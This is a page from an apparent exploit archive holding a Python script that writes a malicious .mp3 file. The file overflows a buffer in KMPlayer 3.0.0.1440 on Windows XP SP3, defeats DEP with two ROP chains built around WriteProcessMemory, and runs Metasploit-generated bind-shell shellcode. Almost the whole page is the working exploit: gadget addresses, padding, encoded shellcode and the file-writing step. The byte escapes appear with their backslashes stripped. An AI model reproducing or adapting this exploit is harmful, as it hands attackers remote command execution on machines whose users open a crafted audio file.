Home / exploits KMPlayer 3.0.0.1440 Buffer Overflow
Posted on 07 June 2011
#!/usr/bin/python # # The KMPlayer 3.0.0.1440 .mp3 Buffer Overflow Exploit XPSP3 DEP Bypass # # Downloaded from: http://download.cnet.com/The-KMPlayer/3000-13632_4-10659939.html # # 06 Jun 11 # # Cobbled together by dookie and ronin # # This exploit performs DEP bypass on WinXP SP3 with 2 different offsets. # In our testing environments, there were 2 separate offsets. One offset # applies to VMs running on Xen and VMware workstation for Linux. The # second offset applies to ESXi and VMware Fusion. import os evilfile = "km_pwn.mp3" head = "x77x44x37x03x00x00x00x00x1Fx76x54x49x54x32x00x00x13x16x00x00x00xD6x6Dx61x73x68x69x6Ex67x20x54x68x65x20x4Fx70x70xFAx6Ex52xCCx74x86x41x4Cx42x00x00x00x15x00x00x00xE7x65xE1x65x6Ex64x20x4Fx66x20x54x68x65x20x42x6Cx61x63x6Bx20xE3x68x61x77xEFx72x6Dx61x54x52x13x4Bx70x00x00x3Ex00x00x00x34x8CxA5x45x52x73x00x00x05x00x00xD2x32xDCx30x39x54x43x4Fx4Ex00x00x00x0Cx00x00x00x1Ax50x79x63x16x65x64x65x6Cx69x9Bx65x60x69x4Dx81x00x00x3Cx00x32x00xECx6Ex67xCDx55x50x45x54x45x4Ex43x63x00x00xEBx00x00x70x4Cx61x6Dx65x20x33x2Ex7Ax37x54x4Cx41x4Ex00x96x00x08x00x00x00x45x79x67x6Fx69x73x68x50x7Cx49x56x00x99xDBx29x00x00x57x4Dx3Cx4Dx54xDBx69x61x43x6Cx61x73x85x53x65xDBx6FxE1x64x61x72x79x68x44xF6x00x00x00x00x00x00x00x00x00x00xAEx00x00x00x00x00x50x52x49xCFx00x00xE6x27x00x00x57x4Dx2Fx4Dx65xE6x69x61x43x6Cx61x73x73x50x32x69xC0x61x72x79xC0x44x00xBCx51x4Dx30x23xE3xE2x4Bx86xA1x48xA2xB0x28x44x1Ex50x52x49x56x00x00x00xAAx0Bx00x57x9Ax2Fx50x72x6Fx1Ex69x50xA1x72x00xC3x00x4Dx00x47x79x00x00x50x52x49x56x00x00x00x1Fx00x00x57x6Cx2Fx57x4Dx4Ex6Fx6Ex74x65x6ExF7x49x44x00x03x6Ax21x12x66x52x4Dx49x93x83xD6x39xB3x6Ex1Ax76xA6x52x49x56xC2x20x00x57x00x00xA2x4Dx2Fx57x59x43x25x6Cx6Cx65x0Cx74xE2x8Ex6Ex1Fx44x01xECx4BxF3xABxEBx1CxD1x4CxBFx29x8Fx8DxC3x7DxA2x74x50x52x49xC3x00x4Ex00x27x83x00x57x4Dx2Fx57x4Dx43x6Fx6Cx6CxC6x63x74x69x6Fx6Ex47x72x6Fx75x70x49x44x00xECxFAxF3xABxECx1CxD1x4Cx90x22x8Fx8DxC3x06xA2x0Fx54x50x55x42x00x00x38x08x00x50x00x48x59xEEx6Dx65x67x61x50x1Fx49x56x00x00x00x23x00x00x57x4Dx2Fx9Bx6ExB4x71x75xE0x46x69x6Cx65x49x64x65x6Ex74x69x66x69x65xEBx00x41x00x4Dx00x47x00x61x00x0Bx00x69x00x64x00x3Dx00x52x00x20x00x20x00x31x00x17x00x37x00x32x00x34x00x37x00x34xFDxB5x00x55x00x4Dx00x47xCEx70x62x5FxABx69x2Fx64x00x3Dx00x50x00x20x00x20x00x20xA6x34x00x37x6Cx35x0Ex32x00x39x00x30x00xCExBBx41x00x2Ax00x47x00x74x80x5Fx00x71x00x64x00x3Dx00x3Ex04x7Cx00x31x00x37x00x36x00xBCx00x31x00xA7xC0x32x8Ex33x00x00x00x54x50x45x32x00x7Cx50x12x00x17xAEx49x6Ex66x5ExCBx74x65xACx20x4Dx75x73x68x72x6Fx6Fx6Dx54x43x4Fx4Dx40x00x00x23x00x00xA0xCBx6Dx69x74x64xD0x10x75x76x49x65x76x9FxCBx96x75x76x1Ex65x76x61x6Ex69x2Fx45x72xBCx7Ax20x45x69xB5x65x6Ex54x50xF8x31x00x00x00x25x00x00x47x49x6Ex66x65x63x74x65x64x20x4Dx75x1Ex68x72x6Fx6Dx6Fx56x20x20x73x4Ax20x6Ex6Fx9Cx61x61x68x20x6Ex61x7Ex69x76x00xDBx00x00x00x00x00x00x00x00x00x82x00x24x00x00x00x00x00x00x00x75x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xA2x00x00x9Dx00x00x00x00x7FxEBx79x82x00x75x00x00x00xDFx00x00x00x00x00x93x00x00x00x00xF4x00x00x00x00x00x00x00x00x00x00x00x00x52x00x00xCAx00x00x00x00xE5x00x00xEAxAFx00xFEx00x00x00x00x00x00x00x00x00x4Dx00x00x00x00x00x00x15x00xB3x00x00x00xC4x50x00x00x20x00x00x00x00x00x00x00x00xEAx00x00x00x00x66x00x00x00x00x00x00x00x00x00x00x00x00x78x00x00x2Fx00x10x00x00x00x00x00xC8x00x00x00x00x00x00x00x00xE4x00x00x00x00x00x2Cx7Ex00x00x00x00x00x00x56x00x00x00x00x00x00x6Fx00x00xECx00x00x00x40x00x83x57x00x88x00x00x00x11x00x81x00x00x00x00xBCx00x00x00x00" cruft = "x85" * 3162 nops = "x90" * 28 nops += "x91x90x90x90" # The last byte gets decremented in rop2 while pointing EAX at the shellcode nops += "x90" * 20 #shellcode = "xcc" * 368 # Size of bind shell #root@bt:~# msfpayload windows/shell_bind_tcp R|msfencode -b 'x00x0ax0d' -t c #[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) shellcode = ("xbdxcfxd8x7cxd0xddxc1xd9x74x24xf4x58x2bxc9xb1" "x56x31x68x13x83xc0x04x03x68xc0x3ax89x2cx36x33" "x72xcdxc6x24xfax28xf7x76x98x39xa5x46xeax6cx45" "x2cxbex84xdex40x17xaax57xeex41x85x68xdex4dx49" "xaax40x32x90xfexa2x0bx5bxf3xa3x4cx86xfbxf6x05" "xccxa9xe6x22x90x71x06xe5x9exc9x70x80x61xbdxca" "x8bxb1x6dx40xc3x29x06x0exf4x48xcbx4cxc8x03x60" "xa6xbax95xa0xf6x43xa4x8cx55x7ax08x01xa7xbaxaf" "xf9xd2xb0xd3x84xe4x02xa9x52x60x97x09x11xd2x73" "xabxf6x85xf0xa7xb3xc2x5fxa4x42x06xd4xd0xcfxa9" "x3bx51x8bx8dx9fx39x48xafx86xe7x3fxd0xd9x40xe0" "x74x91x63xf5x0fxf8xebx3ax22x03xecx54x35x70xde" "xfbxedx1ex52x74x28xd8x95xafx8cx76x68x4fxedx5f" "xafx1bxbdxf7x06x23x56x08xa6xf6xf9x58x08xa8xb9" "x08xe8x18x52x43xe7x47x42x6cx2dxfex44xa2x15x53" "x23xc7xa9x42xefx4ex4fx0ex1fx07xc7xa6xddx7cxd0" "x51x1dx57x4cxcax89xefx9axccxb6xefx88x7fx1ax47" "x5bx0bx70x5cx7ax0cx5dxf4xf5x35x36x8ex6bxf4xa6" "x8fxa1x6ex4ax1dx2ex6ex05x3exf9x39x42xf0xf0xaf" "x7exabxaaxcdx82x2dx94x55x59x8ex1bx54x2cxaax3f" "x46xe8x33x04x32xa4x65xd2xecx02xdcx94x46xddxb3" "x7ex0ex98xffx40x48xa5xd5x36xb4x14x80x0excbx99" "x44x87xb4xc7xf4x68x6fx4cx04x23x2dxe5x8dxeaxa4" "xb7xd3x0cx13xfbxedx8ex91x84x09x8exd0x81x56x08" "x09xf8xc7xfdx2dxafxe8xd7") ##################### ROP Chain for VMware Workstation (Linux) and Xen ##################### eip = "x71x14x40x00" # 00401471 RETN Pivot to the stack toesp = "x42" * 4 wpm = "x13x22x80x7c" # 7C802213 WriteProcessMemory - XPSP3 wpm += "x20x1fx45x02" # 02451F20 in_wm.dll - Return after WPM wpm += "xffxffxffxff" # hProcess wpm += "x10x1fx45x02" # 02451F10 in_wm.dll - Address to Patch wpm += "xbexbaxfexca" # lpBuffer placeholder (Shellcode Address) wpm += "xcexfaxedxfe" # nSize placeholder (Shellcode Size) wpm += "xc0x2bx45x02" # 02452BC0 in_wm.dll - Pointer for Written Bytes # Get a copy of ESP into a register rop1 = "x4fx92x71x13" # 1371924F : {POP} # PUSH ESP # POP EDI # POP ESI # POP EBP # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,50 # RETN 8 (IN_MP3.dll) rop1 += "x41" * 12 # Junk to be popped into ESI, EBP, and EBX junk = "x61" * 52 # Junk in between our VirtualProtect parameters and the next ROP chain # Put a copy of the saved ESP from EDI into EAX rop2 = "x75x66x8ax5b" # 5B8A6675 : # PUSH EDI # POP EAX # RETN (NETAPI32.dll) rop2 += "x41" * 8 # Compensate for the RETN 8 in rop1 # Increase EAX to point at our shellcode rop2 += "x37x75x37x02" # 02377537 : # ADD EAX,84 # DEC DWORD PTR DS:[EAX] # RETN (in_mp4.dll) rop2 += "x37x75x37x02" # 02377537 : # ADD EAX,84 # DEC DWORD PTR DS:[EAX] # RETN (in_mp4.dll) # Write the address of the shellcode into the lpBuffer placeholder # First need to put EAX in a safe spot then juggle around EDI to get it to ESI rop2 += "xc3x87xecx76" # 76EC87C3 : # XCHG EAX,EDX # RETN (TAPI32.dll) rop2 += "x75x66x8ax5b" # 5B8A6675 : # PUSH EDI # POP EAX # RETN (NETAPI32.dll) rop2 += "xd8xc3x3cx76" # 763CC3D8 : # XCHG EAX,ESI # RETN (comdlg32.dll) rop2 += "xc3x87xecx76" # 76EC87C3 : # XCHG EAX,EDX # RETN (TAPI32.dll) rop2 += "xbex9cxcax76" # 76CA9CBE : # MOV DWORD PTR DS:[ESI+1C],EAX # MOV EAX,ESI # POP ESI # RETN (IMAGEHLP.dll) rop2 += "x41" * 4 # Junk to be popped into ESI # Get the intial ESP value back into ESI rop2 += "xe6x57x01x15" #150157E6 : {POP} # DEC ESI # PUSH EAX # POP ESI # POP EBX # POP ECX # RETN (in_nsv.dll) rop2 += "x41" * 8 # Junk to be popped into EBX and ECX # Get the initial ESP value back into ESI rop2 += "xd8xc3x3cx76" # 763CC3D8 : # XCHG EAX,ESI # RETN (comdlg32.dll) # Zero EAX and set it to the shellcode size (0x200) rop2 += "xc0x11x37x02" # 023711C0 : # XOR EAX,EAX # RETN (in_mp4.dll) rop2 += "xe9x0bx44x02" # 02440BE9 : # ADD EAX,100 # POP EBP # RETN (in_wm.dll) rop2 += "x41" * 4 # Junk to be popped into EBP rop2 += "xe9x0bx44x02" # 02440BE9 : # ADD EAX,100 # POP EBP # RETN (in_wm.dll) rop2 += "x41" * 4 # Junk to be popped into EBP # Write the shellcode size into the nSize placeholder rop2 += "x3fxcfx9ex7c" # 7C9ECF3F : {POP} # MOV DWORD PTR DS:[ESI+20],EAX # MOV EAX,ESI # POP ESI # POP EBP # RETN 4 (shell32.dll) rop2 += "x41" * 8 # Junk to be popped into ESI and EBP # Point EAX to the WPM setup on the stack, push EAX and POP it into ESP rop2 += "x41x15x5dx77" # 775D1541 : # SUB EAX,4 # RETN (ole32.dll) rop2 += "x41" * 4 rop2 += "x51xebx43x02" # 0243EB51 : # ADD EAX,0C # RETN (in_wm.dll) rop2 += "xcex05x42x02" # 024205CE : {POP} # PUSH EAX # POP ESP # POP ESI # RETN (in_wm.dll) rop2 += "x41" * 4 # Junk to be popped into ESI rop2 += "x41" * 32 ############################# ROP Chain for VMware Fusion and ESXi ############################ ############################################################################################### ## ROP_1 = all about the jump back to a bigger buffer, for ROP_2 construction ############################################################################################### #put this in ESI to use it for subtraction from ESP. need to land in the big buffer 14830 = 39ee jmp_value = "xf0x38x00x00" rop_1 = "x46"*4 #0x7744802C : # INC EDX # PUSH ESP # MOV EAX,EDX # POP EDI # RETN (comctl32.dll) ** rop_1 += "x2cx80x44x77" #0x5B8A6675 : # PUSH EDI # POP EAX # RETN (NETAPI32.dll) ** rop_1 += "x75x66x8ax5b" #0x7C926021 : {POP} # SUB EAX,ESI # POP ESI # POP EBP # RETN (ntdll.dll) ** rop_1 += "x21x60x92x7c" rop_1 += "x50" * 8 #0x7E451509 : # XCHG EAX,ESP # RETN (USER32.dll) ** rop_1 += "x09x15x45x7e" ############################################################################################### filler_a1 = "x41"*360 ############################################################################################### ## ROP_2 = all about the shell ############################################################################################### ######### SAVING STACKPOINTERS ################################################################ #0x7744802C : # INC EDX # PUSH ESP # MOV EAX,EDX # POP EDI # RETN (comctl32.dll) ** rop_2 = "x2cx80x44x77" #0x5B8A6675 : # PUSH EDI # POP EAX # RETN (NETAPI32.dll) ** rop_2 += "x75x66x8ax5b" #0x5B8A9F1E : # ADD ESP,44 # POP EBP # RETN 1C (NETAPI32.dll) ** rop_2 += "x1ex9fx8ax5b" rop_2 += "x43x43x43x43" #WriteProcessMemory construct with the two placeholders we need to generate on the fly ############################################################################################### rop_2 += "x13x22x80x7c" #WriteProcMem - XPSP3 rop_2 += "x00x2ex98x7c" #ntdll - patching target rop_2 += "xffxffxffxff" #hProcess rop_2 += "x00x2ex98x7c" #ntdll - patching target rop_2 += "xbexbaxfexca" #lpBuffer placeholder (Shellcode Address) rop_2 += "xcexfaxedxfe" #lpBuffer placeholder (Shellcode Size) rop_2 += "10x20x98x7c" #writeable location in ntdll ############################################################################################### ######### FIRST PARAM - lpBuffer placeholder (Shellcode Address)############################### #gadgets (plus various paddings) used to construct the memory address which will point to our shellcode #then we write the value to the correct memory address and restore EAX rop_2 += "x44" * 40 #0x7C974E8E : # ADD EAX,100 # POP EBP # RETN (ntdll.dll) ** rop_2 += "x8ex4ex97x7c" rop_2 += "x44" *32 rop_2 += "x8ex4ex97x7c" rop_2 += "x44"*4 #0x7E45DA8D : # XCHG EAX,EBP # RETN (USER32.dll) ** rop_2 += "x8dxdax45x7e" #0x77DD994E : # XCHG EAX,EDI # RETN 2 (ADVAPI32.dll) ** rop_2 += "x4ex99xddx77" #0x7C910C66 : # XCHG EAX,ESI # RETN 2 (ntdll.dll) ** rop_2 += "x66x0cx91x7c" #padding rop_2 += "x44" * 2 #0x7E45DA8D : # XCHG EAX,EBP # RETN (USER32.dll) ** rop_2 += "x8dxdax45x7e" #padding rop_2 += "x44"*2 #0x76CA9CBE : # MOV DWORD PTR DS:[ESI+1C],EAX # MOV EAX,ESI # POP ESI # RETN (IMAGEHLP.dll) ** rop_2 += "xbex9cxcax76" ############################################################################################### ######### SIZE PARAM - lpBuffer placeholder (Shellcode Size) ################################## #gadgets (plus various paddings) used to construct the size value for our buffer (using 0x200 bytes) #then we write the value to the correct memory address and restore EAX rop_2 += "x47" *4 #0x775D156E : # PUSH EAX # POP ESI # RETN (ole32.dll) ** rop_2 += "x6ex15x5dx77" #0x7E433785 : # XOR EAX,EAX # RETN 4 (USER32.dll) ** rop_2 += "x85x37x43x7e" #0x7C974E8E : # ADD EAX,100 # POP EBP # RETN (ntdll.dll) ** rop_2 += "x8ex4ex97x7c" rop_2 += "x45"*8 rop_2 += "x8ex4ex97x7c" rop_2 += "x45"*4 #0x75D0AA2E : # MOV DWORD PTR DS:[ESI+20],EAX # MOV EAX,ESI # POP ESI # RETN (mlang.dll) ** rop_2 += "x2exaaxd0x75" ############################################################################################### ############################################################################################### ######### Realigning EAX to point to WPM and setting ESP to it ################################ rop_2 += "x50" * 4 #0x76CAF118 : # ADD EAX,0C # RETN (IMAGEHLP.dll) ** rop_2 += "x18xf1xcax76" #0x7E451509 : # XCHG EAX,ESP # RETN (USER32.dll) ** rop_2 += "x09x15x45x7e" rop_2 += "x43"*316 ############################################################################################### ##################### VARIOUS PADDINGS AND OTHER NONSENSE ##################################### #slide into the shell nops_7 = "x90"*56 #after the shell junk filler_a2 = "x42" * (3200) ############################################################################################### ############################# PUTTING IT TOGETHER ############################################# filler_a = filler_a1 + rop_2 + nops_7 +shellcode +filler_a2 #small buffer filler filler_b = "x44" * (95) #the whole shebang (ronin's version) filler = filler_a+jmp_value+eip+rop_1+filler_b ############################################################################################### sploit = head + cruft + eip + toesp + rop1 + wpm + junk + rop2 + nops + shellcode + filler crashy = open(evilfile,"w") crashy.write(sploit) crashy.close()
